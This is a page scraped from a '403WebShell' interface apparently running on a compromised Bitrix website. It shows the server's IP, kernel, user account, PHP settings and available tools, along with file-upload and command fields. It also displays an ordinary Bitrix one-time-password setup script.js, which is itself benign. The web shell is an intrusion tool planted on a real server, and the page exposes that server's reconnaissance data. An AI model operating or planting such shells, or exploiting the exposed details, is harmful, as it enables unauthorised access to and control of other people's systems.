%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.220.213.204
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/security.user.otp.init/templates/.default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/security.user.otp.init/templates/.default/script.js
BX.namespace('BX.Security.UserOtp.Init');

BX.Security.UserOtp.Init = (function getUserOtp(BX)
{
	"use strict";

	var Otp = function(options)
	{
		var defaults = {
			'actionUrl': location.href,
			'successfulUrl': '/',
			'data': {
				'secret': null,
				'provisionUri': null
			},
			'ui': {
				'containerId': 'user-otp-container',
				'qrcode': {
					'width': 164,
					'height': 164,
					'colorDark': '#000000',
					'colorLight': '#ffffff'
				}
			}
		};

		options = options || {};
		this._options = mergeObjects(defaults, options);

		this.signedParameters = this._options.signedParameters;
		this.componentName = this._options.componentName;
		this._secret = this._options.data.secret;
		this._container = BX(this._options.ui.containerId);
		this._actionUrl = this._options.actionUrl;
		this._successfulUrl = this._options.successfulUrl;
		this.needRedirectAfterConnection = this._options.needRedirectAfterConnection === "Y";

		// ToDo: need options here
		this._completeCallback = BX.proxy(this.onComplete, this);
		this._errorContainer = null;
		this.initializeInterface(this._options.data);
	};

	Otp.prototype.initializeInterface = function(data)
	{
		this.drawQrCode(
			this._container.querySelector('[data-role="qr-code-block"]'),
			data.provisionUri,
			this._options.ui.qrcode
		);

		var checkCodes = this._container.querySelectorAll('input[data-role="check-code"]');
		BX.bind(
			document.querySelector('[data-role="check-button"]'),
			'click',
			BX.proxy(function proxyCheck() {
				this.onCheck(
					checkCodes[0],
					checkCodes[1] || null // Second check code may be absent for some OtpAlgorithm
				);
			}, this)
		);

		this._errorContainer = this._container.querySelector('[data-role="error-container"]');
	};

	Otp.prototype.onCheck = function(elSync1, elSync2)
	{
		this.clearErrors();
		this.activate(elSync1.value, elSync2 ? elSync2.value: null);
	};

	Otp.prototype.activate = function(sync1, sync2)
	{
		var data = {
			'secret': this._secret,
			'sync1': sync1,
			'sync2': sync2
		};

		this.sendRequest('otp_check_activate', data, this._completeCallback);
	};

	Otp.prototype.drawQrCode = function(elementId, provisionUri, options)
	{
		new QRCode(BX(elementId), {
			text: provisionUri,
			width: options.width,
			height: options.height,
			colorDark : options.colorDark,
			colorLight : options.colorLight,
			correctLevel : QRCode.CorrectLevel.H
		});
	};

	Otp.prototype.sendRequest = function(action, dataObj, onSuccess, onFailure)
	{
		BX.addClass(document.querySelector('[data-role="check-button"]'), "wait");

		dataObj = dataObj || {};
		dataObj.otpAction = action || 'check';

		BX.ajax.runComponentAction(this.componentName, "setOtp", {
			signedParameters: this.signedParameters,
			mode: 'ajax',
			data: dataObj
		}).then(function (response) {
			return this.onRequestSuccess(onSuccess, response.data);
		}.bind(this), function (response) {
			return this.onRequestFailed(onFailure, response);
		}.bind(this));
	};

	Otp.prototype.onRequestSuccess = function(callback, response)
	{
		BX.removeClass(document.querySelector('[data-role="check-button"]'), "wait");

		if (!response['status'])
		{
			this.onRequestFailed(null, response);
		}
		else if (response['status'] !== 'ok')
		{
			this.onRequestFailed(null, response);
		}
		else
		{
			callback(response);
		}
	};

	Otp.prototype.onRequestFailed = function(callback, response)
	{
		BX.closeWait();

		if (!callback)
		{
			if (response['error'])
				this.showError(response['error']);
			else
				this.showError(BX.message('SECURITY_OTP_UNKNOWN_ERROR'));
		}
		else
		{
			callback(response);
		}
	};

	Otp.prototype.showError = function(errorMessage)
	{
		if (!this._errorContainer)
			return;

		var errorElement = BX.create('div', {
			'children': [
				BX.create('div', {
					'text': BX.message('SECURITY_OTP_ERROR_TITLE')
				}),
				BX.create('div', {
					'html': errorMessage
				})
			],
			attrs: {className: "bx-notice error"}
		});

		this._errorContainer.appendChild(errorElement);
	};

	Otp.prototype.clearErrors = function()
	{
		if (!this._errorContainer)
			return;

		BX.cleanNode(this._errorContainer);
	};

	Otp.prototype.onComplete = function()
	{
		BX.onCustomEvent(
			window,
			"BX.Security.UserOtpInit:afterOtpSetup",
			[ this ]
		);

		if (this.needRedirectAfterConnection)
		{
			location.href = this._successfulUrl;
		}
	};

	function mergeObjects(origin, add) {
		for (var p in add) {
			if (!add.hasOwnProperty(p))
				continue;

			if (add[p] && add[p].constructor === Object) {
				if (origin[p] && origin[p].constructor === Object) {
					origin[p] = mergeObjects(origin[p], add[p]);
				} else {
					origin[p] = clone(add[p]);
				}
			} else {
				origin[p] = add[p];
			}
		}
		return origin;
	}

	function clone(o) {
		return JSON.parse(JSON.stringify(o));
	}

	return Otp;
}(BX));


Youez - 2016 - github.com/yon3zu
LinuXploit